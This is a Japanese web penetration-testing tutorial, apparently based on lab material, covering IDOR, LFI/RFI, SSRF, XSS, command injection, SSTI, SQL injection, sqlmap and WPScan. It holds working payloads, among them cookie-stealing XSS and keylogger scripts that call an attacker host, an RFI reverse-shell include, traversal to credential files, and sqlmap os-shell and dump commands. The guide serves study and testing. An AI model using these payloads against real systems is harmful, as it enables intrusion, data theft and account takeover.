基本的なIDORはhttp://example.com/profile?user_id=1305などのクエリパラメータを含むURLアドレスバーなどにある。

3.6.2. IDORの場所

ターゲットとしているIDORの脆弱性のあるエンドポイントURLアドレスバー以外にある場合がある。
これはブラウザがAjaxリクエストを介して読み込むコンテンツ、またはJavaScriptファイルで参照されている可能性がある。

また場合によってエンドポイントには、開発中に何らかの用途があり運用環境にプッシュされた未参照のパラメータが存在することがある。
他にもパラメータマイニングと呼ばれる攻撃により、他のユーザーの情報を表示するために使用できるパラメーターなどが見つかる場合がある。

3.6.3. IDORの調査

エンコードされたIDによる調査

Web開発者は多くの場合、投稿データ、クエリ文字列やCookieによってページからページにデータを渡すとき最初に生データを取得してエンコードを行う。
エンコードにより受信側Webサーバーがコンテンツを理解できるようになる。 エンコードでは通常はパディングに文字を使用して、バイナリデータをASCII文字列に変更する。

なお、最も一般的なエンコード技術はBase64エンコードとなっている。

ハッシュ化されたIDによる調査

ハッシュIDはエンコードされたIDよりも扱いが少し複雑となるが、整数値のハッシュなどは予測可能なパターンに従う場合がある。
見つかったハッシュはコチラのサイトなどで確認できる。

予測できないIDを調査する方法

エンコードされたIDやハッシュIDでIDORを検出できない場合は2つアカウントを作成しそれらの間でID番号を交換すると判明する場合がある。
別のアカウントでログインしている (またはまったくログインしていない) 状態でも、ID番号を使用して他のユーザーのコンテンツを表示できる場合は、有効なIDOR 脆弱性が見つかったといえる。

3.7. ファイルインクルードの脆弱性

3.7.1. ファイルインクルードとは

ファイルインクルードはプログラムの中で別ファイルを参照するコードがあった場合に、実際に参照すべきファイルとは別のファイルやデータを読み込ませて本来意図しない不正なデータ処理を行わせる攻撃のこと。

ファイルインクルードの脆弱性はPHPなど、 記述および実装が不十分なWeb アプリケーション用のさまざまなプログラミング言語で見つかり悪用される。
この脆弱性の主な問題は入力検証であり、ユーザー入力はサニタイズまたは検証されず、ユーザーが入力を制御してしまうことに起因する。
入力が検証されない場合はユーザーは任意の入力を関数に渡すことができ、脆弱性が発生する。

ファイルインクルードの脆弱性にはWebアプリケーションやOSに関連するコード、資格情報、その他の重要なファイルなどのデータを漏洩する可能性がある。 攻撃者が他の手段でサーバにファイルを書き込むことができる場合、ファイルの組み込みが並行して使用され、リモートコマンド実行(RCE)が行われる可能性がある。

3.7.2. ディレクトリトラバーサル

ディレクトリトラバーサルはファイルやディレクトリを操作する際に、不正なパスを挿入されることによって意図しないディレクトリやファイルを参照、操作されてしまう脆弱性のこと。
この脆弱性により攻撃者はアプリケーションを実行しているサーバー上のローカルファイルなどのOSのリソースを読み取ることができてしまう。

ディレクトリトラバーサルの発生原因

ディレクトリトラバーサルの脆弱性はユーザーの入力がPHPの場合、file_get_contentsなどの関数に渡されるときに発生する。
多くの場合、WEBサイトのバックエンドの不十分な入力検証またはフィルタリングが脆弱性の原因となる。

ドットスラッシュ攻撃

ドットスラッシュ攻撃はディレクトリトラバーサルの攻撃で../を使用してディレクトリを 1 つ上のステップに移動することを利用して攻撃する。

例としては以下の通り。

  1. エントリーポイントを発見する(http://webapp.thm/get.php?file=)
  2. http://webapp.thm/get.php?file=../など送信する
  3. ほしいデータがあるディレクトリ(例../../../etc/passwd)まで何回(例の場合5回)リクエストを送ってデータを取得する

上記手法はLinux、Windows問わずに同じようにディレクトリをたどっていく。
テスト時に使用できる一般的な OS ファイルは以下の通り。

Linuxディレクトリ位置説明
/etc/hostnameホスト名
/etc/issueログインプロンプトの前に出力されるメッセージまたはシステム ID を含むファイル
/etc/profileエクスポート変数、ファイル作成マスク (umask)、端末タイプ、新しいメールの到着を示すメッセージなど、システム全体のデフォルト変数を制御する
/proc/versionLinuxカーネルのバージョンを指定
/etc/passwdシステムにアクセスできるすべての登録ユーザーが含まれる
/etc/shadowシステムのユーザーのパスワードに関する情報が含まれる
/etc/ssh/ssh_configSSHの設定ファイル
/etc/ssh/sshd_configSSHの設定ファイル
/root/.bash_historyrootユーザーの履歴コマンドが含まれる
/root/.ssh/id_rsa秘密鍵が含まれる
/root/.ssh/authorized_keys公開鍵が含まれる
/var/log/dmessageシステム起動時にログに記録されるメッセージを含む、グローバル システム メッセージが含まれる
/var/mail/rootrootユーザーのすべてのメール
/root/.ssh/id_rsaroot またはサーバー上の既知の有効なユーザーのSSH秘密鍵
/var/log/apache2/access.logApache Webサーバーへのアクセスされたリクエスト
Windowsディレクトリ位置説明
C:\boot.iniBIOSファームウェアを備えたコンピューターの起動オプションが含まれる
/autoexec.bat
C:/windows/system32/drivers/etc/hosts
C:/inetpub/wwwroot/IIS関連
C:/inetpub/wwwroot/web.configIIS関連
C:/inetpub/logs/logfiles/IIS関連
C:/xampp/apache/conf/httpd.confXAMPP関連
C:/xampp/security/webdav.htpasswdXAMPP関連
C:/xampp/apache/logs/access.logXAMPP関連
C:/xampp/apache/logs/error.logXAMPP関連
C:/xampp/tomcat/conf/tomcat-users.xmlXAMPP関連
C:/xampp/tomcat/conf/web.xmlXAMPP関連
C:/xampp/webalizer/webalizer.confXAMPP関連
C:/xampp/webdav/webdav.txtXAMPP関連
C:/xampp/apache/bin/php.iniXAMPP関連
C:/xampp/apache/conf/httpd.confXAMPP関連
C:\Windows\System32\config\RegBack\SAMパスワードハッシュ関連
C:\Windows\System32\config\SAMパスワードハッシュ関連
C:\Windows\repair\systemパスワードハッシュ関連
C:\Windows\System32\config\SYSTEMパスワードハッシュ関連
C:\Windows\System32\config\RegBack\systemパスワードハッシュ関連
C:\Windows\System32\config\RegBack\SAM.OLDパスワードハッシュ関連
C:\Windows\System32\config\RegBack\SYSTEM.OLDパスワードハッシュ関連

3.7.3. ローカルファイルインクルージョン(LFI)

ローカルファイルインクルージョン(LFI)は本来閲覧権限のないサーバー内のファイルを読み込んだり、実行したりすることが可能な脆弱性。
LFI攻撃はサイト開発者の不十分なセキュリティ実装が原因となる。

PHPやASP.net, Node.jsなど開発言語を問わず生じる可能性がある。

LFIアクセスの例は以下の通り。

http://example.com/index.php?page=/etc/passwd
# /etc/passwdというキーワードがフィルタリングされている場合
http://example.com/index.php?page=/etc/passwd%00
http://example.com/index.php?page=../../etc/passwd
http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=....//....//etc/passwd

PHPの場合

include()関数でファイルを読み込む場合、エラーメッセージより「.php」など拡張子が付いたファイルを読み込むことが判明するときがある。
こうした場合、ファイルを要求しても「.php」が最後につくためデータを取り出せないように思えるがNULL BYTE(%00)を使用することで回避できる。

Nullバイトの使用はユーザーが指定したデータを使用して16進数の%00や0x00などの URLエンコード表現を使用して文字列を終了するインジェクション手法といえる。
具体的にはペイロード最後にNullByteを追加することでNullByte以降をすべて無視するようにinclude関数に伝えられる

なおPHPの場合、修正されたためPHP 5.3.4以降では動作しない

また../をNull文字に置き換えてる場合などは....//などで回避できる。

3.7.4. リモートファイルインクルージョン(RFI)

リモートファイルインクルード(RFI)はWebアプリケーションにおける外部ファイル参照機能を悪用して予期せぬ動作や悪意ある動作を起こすことが可能な脆弱性。
LFIと同様に、RFIはユーザー入力を不適切にサニタイズするときに発生し、攻撃者が外部URLをinclude関数に挿入することを可能にする。

RFIは攻撃者がサーバー上でリモートコマンド実行 (RCE) を取得できるのでLFIより危険性が高くなる。PHPの場合はallow_url_includeオプションがONになっている場合に有効となってしまう。
RFI攻撃の成功により以下のリスクがある。

  • クロスサイトスクリプティング(XSS)
  • サービス拒否攻撃(DoS)

攻撃者がサーバー上に悪意のあるファイル(リバースシェルなど)をホストするRFI攻撃を成功させる手順は以下の通り。

  1. 外部サーバ(攻撃者のサーバ)とサービスを提供しているアプリケーションサーバーと通信させる
    • http://www.example.com/index.php?lang=http://[攻撃者のIPアドレス|ドメイン名]/cmd.txt
  2. 悪意のあるファイルがHTTPリクエストを介してinclude関数に挿入され悪意のあるファイルの内容がアプリケーションサーバー上で実行させる

またRFI攻撃例は以下の通り。

http://<Target IP>/<file>.php?file=http://<Attacker IP>/rs.php

3.7.5. ファイルインクルージョン脆弱性を防ぐ方法

PHPの場合

  • WEBアプリケーションのフレームワークやOSなどを最新のバージョンにする
  • PHPエラー表示をOFFにしてパスの情報などが漏洩しないようにする
  • WEBアプリケーションファイヤーウォール(WAF)を設定する
  • ファイルインクルードの脆弱性を引き起こす一部のPHP機能 (allow_url_fopen onallow_url_includeなど) を無効にする
  • Web アプリケーションを注意深く分析し、必要なプロトコルとPHPラッパーのみを許可する
  • ユーザー入力やファイルのインクルードに対して適切な入力検証を必ず実装する
  • ファイル名と場所のホワイトリストとブラックリストを実装する

3.8. SSRFの脆弱性

3.8.1. SSRFとは

SSRF(Server-Side Request Forgery)は悪意のあるユーザーがWebサーバに攻撃者が選択したリソースに対して追加/編集されたHTTPリクエストを実行させることを可能にする脆弱性のこと。
具体的には攻撃者は何らかの方法で公開サーバーから内部のサーバーにリクエストを送信することにより、内部のサーバーを攻撃できる場合があり、これがSSRF攻撃と呼ばれる。

SSRF

SSRFには以下の2種類がある。

  • 通常のSSRF … データが攻撃者の画面に表示される
  • ブラインドSSRF … SSRFが発生しても攻撃者の画面に情報が表示されない

SSRFの危険性は以下の通り。

  • 許可されていない領域へのアクセス
  • 顧客/組織データへのアクセス
  • 内部ネットワークに拡張する機能
  • 認証トークン/資格情報を明らかされる危険性

3.8.2. SSRFの突破

SSRFの発見

SSRFの脆弱性を見つける場合一般的に確認すべき箇所は4カ所ある。

  • アドレスバーのパラメータで完全なURLが使用されている場合 * https://website.com/form?server=http://server.webstite.com/storeなど
  • フォーム内の隠しフィールド(type=hidden)の値にURLが使用されている場合
  • ホスト名などがクエリパラメータにある場合(server=api)など
  • URLにパスが指定されている場合

なお出力が出力されないブラインドSSRFを探す場合は外部HTTPログツールを使用する必要がある
この場合requestbin.comや自前のHTTPサーバやBurp SuiteのCollaboratorツールを使う必要がある。

またx&x=をパラメータとして使用することで通常のURLスキーム(http、https)以外の特殊なプロトコル(例: file、gopher)を使用できるため悪意のある動作を実現できてしまう。

SSRFを突破する

SSRF脆弱性をアプリケーションに実装する場合、システム開発者は拒否リスト許可リストを実装する。

  • 拒否リスト … リストで指定されたリソース、または特定のパターンに一致するリソースを除いてすべてのリクエストが受け入れさせる機構 * 一般的にはlocalhost127.0.0.1やドメイン名が記載される * 攻撃には代替の00.0.0.0127.1127.*.*.*2130706433017700000001などでバイパスできる * IPアドレス127.0.0.1に解決される DNSレコードを持つサブドメイン(例:127.0.0.1.nip.io)などでもバイパスできる
  • 許可リスト … パラメーターで使用されるURL(例えばhttps://website.thm)で始まる必要があるというルールなどの特定のパターンに一致しない限り、すべてのリクエストが拒否させる機構 * 攻撃には攻撃者のドメイン名にサブドメイン(https://website.thm.attachers-domain.thm など) を作成することで行える

またオープンリダイレクトのギミックにそのドメインのみから始まるURLを許可するSSRF脆弱性がある場合、内部 HTTP リクエストを攻撃者が選択したドメインにリダイレクト指せるようにできる可能性がある。

3.9. XSSの脆弱性

XSS(Cross-Site Scripting)はWebサイトの脆弱性を利用しHTMLに悪質なスクリプトを埋め込み実行できる脆弱性のこと。
他のユーザーによる実行を目的の悪意のあるJavaScriptがWebアプリケーションに挿入されるインジェクション攻撃として分類されている。

3.9.1. XSSペイロード

XSSのペイロードはターゲットコンピューター上で実行されるJavaScriptのこと。 XSSの例を以下に示す。

XSS脆弱性の試行

もっとも有名なXSSのペイロードであり、XSSができることを確かめるだけの有名なコードです。

<script>alert('XSS is Enable');</script>

"><script>alert(1);</script>
<a onmouseover="alert(document.cookie)">XSS</a>
<iframe src="javascript:alert('XSS');"></iframe>
<IMG SRC=j&#X41vascript:alert('XSS')>

Sessionの盗用

ログイントークンなどのユーザーセッションの詳細は、多くの場合ブラウザ上のCookieに保存する。 以下のコードはターゲットのCookieを取得し、それをBase64でエンコードして送信し、攻撃者の制御下にあるWebサイトに投稿してログに記録する。
攻撃者がここから Cookie を取得すると、ターゲットのセッションを乗っ取り、そのユーザーとしてログインされる可能性がある。

// #########################
// ペイロード1 :Sessionハイジャック
// #########################
<script>fetch('https://[攻撃者ホストのIP]/?cookie='+btoa(document.cookie));</script>
// 攻撃機で以下コマンドでwebサーバ待ち受け
// python3 -m http.server 80
//
//
// #########################
// ペイロード2
// #########################
<script>var i=new Image(); i.src="http://[攻撃者ホストのIP]/?cookie="+btoa(document.cookie);</script>
// 攻撃機で以下コマンドでwebサーバ待ち受け
// python3 -m http.server 80
//
//
// #########################
// ペイロード3
// #########################
<img src=x onerror='this.src="http://[攻撃者ホストのIP]/?"+document.cookie;' \>
// 攻撃機で以下コマンドでwebサーバ待ち受け
// python3 -m http.server 80
//
//
<script>alert(document.cookie);</script>
// Burpsuiteの場合
// %3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

キーロガー

以下のコードはキーロガーとして機能する。

<script>document.onkeypress = function(e) { fetch('https://[攻撃者ホストのIP]/log?key='+btoa(e.key) );}</script>
// 攻撃機で以下コマンドでwebサーバ待ち受け
// python3 -m http.server 80

メールアドレスの変更によるパスワードリセット攻撃

以下のコードではアカウントの電子メールアドレスが変更されるため、攻撃者はパスワードリセット攻撃を実行する可能性がある。

<script>user.changeEmail('[攻撃者のメールアドレス]');</script>

3.9.2. XSSの種類

反射型XSS

反射型xssは攻撃者が用意したurlにアクセスした時に発生するXSS脆弱性のこと
具体的にはHTTPリクエストでユーザーが指定したデータが検証されずに Web ページのソースに含まれている場合に発生する。

反射型

この攻撃では攻撃者は被害者にリンクを送信したり、JavaScriptペイロードを含む別の Web サイトの iframe に埋め込んだりして、ブラウザ上でコードを実行させ、セッションや顧客の情報を盗む可能性がある。

反射型XSSを試す場所は以下のようなエントリーポイントが考えられる。

  • URLクエリ文字列のパラメータ
  • URLファイルパス

例としては以下の場合はクエリ文字列パラメータによる反射型XSSとなる。

  1. https://miya-zato-shopping/search?word=羅生門で「羅生門の検索結果ページ」にアクセスできるとき
  2. https://miya-zato-shopping/search?word=<script>alert(1)</script>このように送るとXSSが起こる場合は反射型XSS

格納型XSS

格納型xssはwebサイトが蓄積しているコンテンツの中に含ませるXSS脆弱性のこと。 具体的にはWebアプリケーションのデータベースなどに保存され、他のユーザーがサイトまたは Web ページにアクセスしたときに実行される。

データベースに保存された悪意のあるJavaScriptは、ユーザを別のサイトにリダイレクトしたり、ユーザーのセッションCookieを盗んだり、訪問ユーザとして動作しながら他のWebサイトのアクションを実行したりする可能性がある。

データが保存され、他のユーザーがアクセスできる領域に表示されていると思われるすべてのエントリポイントがそのポイントと考えられる。

  • ブログのコメント
  • ユーザプロファイル

格納型

例としては以下の場合は蓄積型XSSとなる。

  1. データベースからこんにちは○○さん!と表示されるページがある
  2. ユーザ名を<script>alert(1)</script>で登録する
  3. 上記JavaScriptがページで実行されれば、これが蓄積型XSSとなる。

DOM-Based XSS

DOM-Based XSSはDOMを操作し、意図しないスクリプトを出力させるXSS脆弱性のこと。
DOM-Based XSSには反射型XSS、格納型XSSはサーバからレスポンスされる際にスクリプトが出力されるのに対し以下の特徴がある。

  • 攻撃を受けたユーザのブラウザで不正なスクリプトが実行された場合に必ずしもサーバに通信が飛ばない
  • 攻撃を受けたユーザのブラウザ上でJavaScriptが実行されたタイミングで初めて不正なスクリプトが実行される

DOM-BASED

例として以下のコードがサイトのJavaScriptにある場合を例にとる。

div = document.getElementById("info");
div.innerHTML = location.hash.substring(1); 

上記のJavaScriptを埋め込んだサイトにhttp://example.com/#<img src=1 onerror=alert(1)>でアクセスして読み込むと、<img src=1 onerror=alert(1)>が展開されクエリ文字のJavaScriptが実行されてしまう。

このとき、攻撃者が実際の攻撃のためのJavaScriptコードを含めていたlocation.hashのような箇所をソースと呼び、ソースに含まれる文字列を受け取り、文字列からJavaScriptを生成、実行してしまう箇所のことシンクと呼ばれる。

Dom-Based XSSのソースになりえる処理は以下の通り。

  • location.hash
  • location.search
  • location.href
  • document.cookie
  • document.referrer
  • window.name
  • Web Storage
  • IndexedDB
  • XMLHttpRequest.responseText

シンクとして働く機能の代表例としては以下の通り。

  • HTMLElement.innerHTML
  • location.href
  • document.write
  • eval
  • setTimeout, setInterval
  • Function
  • jQuery(), $(), $.html()

ブラインドXSS

ブラインドXSSは格納型XSSに似ているがペイロードが動作しているか確認することやテストすることができないXSS
XSS Hunter ExpressというツールがブラインドXSSの検証でよく使われる。

3.10. OSコマンドインジェクション

OSコマンドインジェクションはデバイス上のアプリケーションが実行されているのと同じ権限を使用しOS上でコマンドを実行するアプリケーションの動作を悪用することでシステムの乗っ取りやコード実行などが行える脆弱性のこと。

OSコマンドインジェクションは、アプリケーション内のコードをリモートで実行できるため、リモートコード実行(RCE)とも呼ばれる。
これらの脆弱性は攻撃者が脆弱なシステムと直接対話できることを意味するので、多くの場合攻撃者にとって最も恩恵が得られる攻撃といえる。
この攻撃では攻撃者はシステムまたはユーザーのファイル、データ、およびその性質のものを読み取ることができる可能性がある。

3.10.1. OSコマンドインジェクションの原理

phpで書かれた「入力値のファイル内検証のコード」を例にとる。

<?php
$songs = "/var/www/html/songs"

if (isset $_GET["title"]) {
   $title = $_GET["title"];

   $command = "grep $title /var/www/html/songtitles.txt":

   $search = exec($command);
   if ($search == ""){
      $return "<p>リクエストされた $title は曲リストに含まれていません。</p>";
   } else {
      $return "<p>リクエストされた $title は極リストに含まれています。</p>";
   }

   echo $return;
}
?>

上記例では入力値($title)にアプリケーションを実行するための独自のコマンドを挿入することで、このアプリケーションを悪用する可能性がある。
具体的にはgrepを使用してsongstitles.txtより機密性の高いファイルからデータを読み取るようにすることができる。

3.10.2. OSコマンドインジェクションの検知

OSコマンドインジェクションを確かめるにはシェル演算子;および&&&(またはそれ以上) のシステムコマンドを組み合わせて両方をURLで実行すると行える。

具体的な検出方法は以下の2通りある。

方法説明
ブラインド法ペイロードのテスト時にアプリケーションからの直接出力がない方法。ペイロードが成功したかどうかを判断するには、アプリケーションの動作を調査する必要がある。
冗長法ペイロードのテスト後にアプリケーションから直接フィードバックが得られる方法。WEBアプリケーションはコマンド結果をページにそのまま出力する。

ブラインド法によるOSコマンドインジェクションの検出

この方法ではOSコマンドインジェクションの結果出力は表示されないため、結果が分かりづらい。これはWEBアプリケーションがメッセージを出さないためである。 このタイプのコマンドインジェクションを検知する方法は2通りある。

  • ある程度の時間遅延を引き起こすペイロードを使用する方法 * pingsleepコマンドがその例で、オプションで指定した数だけアプリケーションがハングアップするため確認できる
  • 出力を無理やり強制する方法 * >などのリダイレクト演算子を使用して実行する * 例としてwhoamiを実行させたい場合はwhoami > catなどを利用する * Linux と Windows ではコマンドの構文が異なるため数多い試行が必要になるケースがある

またcurlコマンドはOSコマンドインジェクションをテストするのに優れた方法といえる。
これはペイロード内のアプリケーションとの間でデータの受け渡しに使用しやすいためである。

curl http://vulnerable.app/process.php%3Fsearch%3DThe%20Beatles%3B%20whoami

冗長法によるOSコマンドインジェクションの検出

この方法ではOSコマンドインジェクションの結果がWEBアプリケーションの出力に直接表示されるので分かりやすいのが特徴といえる。

3.10.3. OSコマンドインジェクションに役立つペイロード集

Linux と Windows の両方の貴重なペイロードを以下に記載する。

Linuxペイロード説明
whoamiアプリケーションがどのユーザーで実行されているかを確認できる。
ls現在のディレクトリの内容を一覧表示する
pingこのコマンドはアプリケーションを起動してハングさせる。これはアプリケーションのブラインドコマンドインジェクションをテストする場合に役立つ。
sleepこれはアプリケーションのブラインドコマンドインジェクションをテストする場合に役立つ。
ncNetcat を使用すると、脆弱なアプリケーションにリバースシェルを生成できる。これを使用してターゲットマシン内を移動し他のサービス、ファイル、または権限を昇格する可能性のある手段を見つけることが可能
Windowsペイロード説明
whoamiアプリケーションがどのユーザーで実行されているかを確認できる。
dir現在のディレクトリの内容を一覧表示する
pingこのコマンドはアプリケーションを起動してハングさせる。これはアプリケーションのブラインドコマンドインジェクションをテストする場合に役立つ。
timeoutこれはアプリケーションのブラインドコマンドインジェクションをテストする場合に役立つ。

3.10.4. OSコマンドインジェクション脆弱性の阻止

PHPの場合は以下関数がデフォルトではシェル経由でコマンドを実行できるので脆弱性となりえる。

  • exec
  • passthru
  • system

またOSコマンドインジェクションを防ぐには入力値のサニタイズを行う必要がある。
PHPの場合はfilter_input関数を利用して入力値がデータか数字か検証できたりするので、こういった機能を利用する。

またコマンドインジェクションチートシートはコチラから。

3.11. サーバーサイドテンプレートインジェクション(SSTI)

Server Side Template Injection (SSTI) は、テンプレートエンジンの安全でない実装を利用する脆弱性のこと。

SSTIはサーバー側のエクスプロイトであり、ハイジャックされる可能性があるため、脆弱性がさらに重大であることを意味する。 主な目的は通常、リモートでコードを実行できるようにすることができる。

テンプレートエンジン: Web フレームワークに使用されているデータの表示場所を埋め込んだhtmlなどのテンプレートに対して、適切に変数の中身を埋め込んで出力するエンジンのこと

3.11.1. SSTIの検出

SSTIのインジェクションポイントはURL や入力ボックスとなる。 これらのポイントでファジング(複数の文字を送信することで、サーバーが脆弱かどうかを判断する)を行うことで判定をする。 SSTIを検出できる可能性の高い文字列(特殊文字のシーケンス)は以下の通り。

  • ${{<%[%'"}}%\

URLエンコードツールはコチラから。

URLに入れる例

入力パラメータを変更して脆弱性を確認する

http://[IPアドレス]:5000/home/${

http://vulnerable-website.com/?greeting=data.username}}sername

入力フィールドに入れる例

サーバーがテンプレート式を評価しているかどうかを確認して、XSS と区別してることを確認する。

{{5*5}}

${{5*5}}

3.11.2. テンプレートエンジンの識別

SSTIの検出が行えたら、次はどのテンプレートエンジンが使用されているかを特定する。
デジジョンツリーという識別マップに従うのが良い。 ツリーは以下の通り。

  • ${7*7}
    • a{*comment*}b => $marty
      • ${"z".join("ab")} => Mako
        • => Unknown
    • {{7*7}}
      • {{7*'7'}} => Jinja2 or Twig or Unknown
        • => Unknown

3.11.3. テンプレートエンジンの構文

各テンプレートエンジンのSSTIはコチラを参照。

https://github.com/swisskyrepo/PayloadsAllTheThings/も使える。

Java

// Basic
${7*7}
${{7*7}}
//Jinja2
{% <コード> %}

JavaScript

//Lodash
{{= _.VERSION}}
${= _.VERSION}
<%= _.VERSION %>

Python

# Mako
<% <コード> %>
${<コード>}

PHP

# Twig
{system('ls')}
{system('cat index.php')}
# Smarty
{{7*7}}

Ruby

7*7の部分にsystem("実行コード");などを記述するとエクスプロイトのコードになる。

# ERB
<%= 7*7 %>
# Slim
#{ 7*7 }

活用形は以下

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>

3.11.4. TInjAによるSSTI解析の自動化

github:https://github.com/Hackmanit/TInjA

3.12. SQLインジェクション

SQLインジェクションは悪意のあるSQLクエリを実行させるWebアプリケーションデータベースサーバーに対する攻撃のこと。
Webアプリケーションが、十分に検証されていないユーザ入力を使用してデータベースと通信する場合、攻撃者が個人データや顧客データを盗んだり、削除したり、変更したり、Web アプリケーションの認証方法を攻撃して不正にデータベースを操作する可能性がある。

SQLを使用するWebアプリケーションがSQLインジェクションの脆弱性にさらされるのはユーザーが提供したデータがSQLクエリに含まれるときである。

SQLインジェクション

3.12.1. SQLインジェクションの種類

インバンドSQLインジェクション

インバンドSQLインジェクションは検出して悪用するのが最も簡単なタイプのSQLインジェクション。
インバンドは脆弱性を悪用し結果を受け取るために使用されるのと同じ通信方法を指す。
Webサイトのページで SQLインジェクションの脆弱性を発見し、データベースから同じページにデータを抽出できるのが特徴である。

エラーベースのSQLインジェクション

このタイプのSQLインジェクションはデータベースからのエラーメッセージがブラウザ画面に直接出力されるため、データベース構造に関する情報を簡単に取得するのに役立つ。このタイプはデータベース全体を列挙するためによく使用される。

UNIONベースのSQLインジェクション

UNIONベースのインジェクションでは、SQL UNION 演算子を SELECT ステートメントとともに利用して、追加の結果をページに返させる
この方法は、SQLインジェクションの脆弱性を利用して大量のデータを抽出する最も一般的な方法といえる。

SQLインジェクションによる認証突破

認証ページのユーザID/パスワードの入力画面で' or 'a'='aなどを入力すると認証をバイパスする場合は、SQLインジェクションによる認証突破といえる。
これはSQL文が以下のようになるため起きる。

-- 以下記述により常にWHERE句が成立してしまう
SELECT * FROM users WHERE id = 'Username' and pwd = '' OR 'a'='a'

3.12.2. SQLインジェクションのSQL文

基本的なSQLインジェクション

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or ('1'='1--

UNIONベースのSQLインジェクション

  1. UNION攻撃に必要な列数の決定
    • ' ORDER BY 1--' ORDER BY 2--などで列数の決定
  2. UNION攻撃で有用なデータ型の列を見つける
    • UNION SELECT 'a',NULL,NULL,NULL--など(aの位置を変える)
  3. DBバージョンの取得
    • ' union select version(),null,null,null #
  4. DB名の取得
    • ' UNION SELECT DATABASE(),NULL,NULL,NULL#
  5. テーブルの取得
    • ' union select table_name,null from information_schema.tables
    • ' union select table_name,null from information_schema.tables where table_schema = '<4で判明したDB名>'#
  6. テーブルのカラムを参照
    • ' union select table_name,column_name from information_schema.columns #
    • ' union select table_name,column_name from information_schema.columns where table_schema = '<4で判明したDB名>'#
  7. データの取得
    • ' union select user,password from <DB名>.<テーブル名> #

3.12.3. SQLインジェクションの阻止

SQLインジェクションをソフトウェア開発者が防ぐには以下工夫が必要となる

  • プレースホルダによるSQL文の組み立て
  • パラメーター化されたクエリを使用したSQLステートメント(プリペアードステートメント)
  • 入力値の検証(許可リストの使用など)
  • ユーザー入力のエスケープ(’ " $ \ など)

3.12.4. SQLmapによるSQLインジェクションの自動化

SQLmapはSQLインジェクションの欠陥を検出して悪用し、データベースサーバを乗っ取るプロセスを自動化するツール。 以下のDBMSをサポートしている。

  • MySQL
  • Oracle SQL
  • PostgreSQL
  • Microsoft SQL Server
  • Microsoft Access
  • IBM DB2
  • SQLite
  • Firebird
  • Sybase
  • SAP MaxDB

コマンド

sqlmap -u "https://localhost/?id=1&opt=test" -p "id"
オプション概要
-u攻撃対象のURL
-p攻撃対象のパラメータ名
–data--data="user=x&password=y"などでパスワードなどを指定
–dbmsデータベースの種類(指定したDBの攻撃値のみに絞って挿入)
–dumpテーブル情報を取得
–dump-all全てのテーブル情報を取得
-r <ファイル名>HTTPリクエストデータを指定して実行する
–os-shellシェルの取得
–risk攻撃値の網羅性レベル。1〜3の範囲で指定する。
1:基本的な攻撃値のみ(デフォルトの設定)
2:time-based SQL injectionの攻撃値も試す。
3:OR-based SQL injectionの攻撃値も試す
–level検査対象となるパラメータの範囲。1〜5の範囲で指定する。
1:基本的なパラメータを検査(デフォルトの設定)
2:Cookieのパラメータも検査対象にする。
3:「User-Agent」ヘッダや「Referer」ヘッダも検査対象にする
–proxyプロキシの設定
–delay各リクエスト間で遅延させる時間(秒)
–cookieクッキーの設定

よく使うコマンド

# SQLインジェクション/コマンドインジェクション
sqlmap -u "https://[IPアドレス]/?id=1" --cookie="ID=hogehoge" --os-shell
# データベース一覧取得
sqlmap -u "https://[IPアドレス]/?id=1" --dbs
# データベース内に存在するテーブル一覧の取得
sqlmap -u "https://[IPアドレス]/?id=1" -D [データベース名] --tables
# テーブルが保持するカラム一覧の取得
sqlmap -u "https://[IPアドレス]/?id=1" -D [データベース名] -T [テーブル名] --columns
# テーブルが保持するデータを表示
sqlmap -u "https://[IPアドレス]/?id=1" -D [データベース名] -T [テーブル名] -C [カラム1],[カラム2],... --dump

リクエストファイルを使用してsqlmapを使用する場合は以下の通り。

# データベース一覧取得
sqlmap -r [リクエストファイル] -p [パラメータ] --batch --level 5 --risk 3 --dbms=[RDBMSシステム] --dbs
# DBの一覧取得
sqlmap -r [リクエストファイル] -p [パラメータ] --batch --level 5 --risk 3 --dbms=[RDBMSシステム] -D [データベース] --tables
# テーブルの取得
sqlmap -r [リクエストファイル] -p [パラメータ] --batch --level 5 --risk 3 --dbms=[RDBMSシステム] -D [データベース] -T [テーブル] --columns
# カラムからデータの取得
sqlmap -r [リクエストファイル] -p [パラメータ] --batch --level 5 --risk 3 --dbms=[RDBMSシステム] -D [データベース] -T [テーブル] -C [カラム] --dump

HTTP Getベースの列挙

以下のようなHTTPリクエストを含むテキストファイルを用意する。

POST /blood/nl-search.php HTTP/1.1
Host: 10.10.17.116
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.17.116
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.17.116/blood/nl-search.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=bt0q6qk024tmac6m4jkbh8l1h4
Connection: close

blood_group=B%2B

以下コマンドでデータベース列挙を試みる。

sqlmap -r <リクエストファイル> -p <脆弱なパラメータ> --dbs

3.13. CMSへの侵入

様々なCMSがあるが、そのCMS特有のファイルの確認事項、スキャン方法を記載する。

3.13.1. WPScan

WPScanは、WordPress サイトに存在するいくつかのセキュリティ脆弱性カテゴリを列挙して調査することができるスキャンツール。

基本的な使い方

# アップデート
wpscan --update

# ユーザの列挙
wpscan --url <url> -e u
# 脆弱なTheme特定
wpscan --url <url> -e vt
# 脆弱なプラグイン特定
wpscan --url <url> -e vp

# 上記3つスキャン+ファイル出力
wpscan --url <url> -e u,vt,vp -o <output filename>

# アグレッシブスキャン
wpscan --url <url> -e u,vt,vp --plugins-detection aggressive

# リスト型攻撃/パスワード推測攻撃(デフォルトログインページの必要)
# wp-login.phpページと有効になっている場合XMLRPCインタフェースを介したブルートフォースをサポートする
wpscan --url [ドメイン名など] --passwords /usr/share/wordlist/rockyou.txt
wpscan --url http://test.com/ --usernames admin --passwords /usr/share/wordlist/rockyou.txt
  • url…対象のURL指定
  • -e
    • u…usernameの列挙
    • vt…脆弱なテーマを列挙
    • at…全てのテーマを列挙
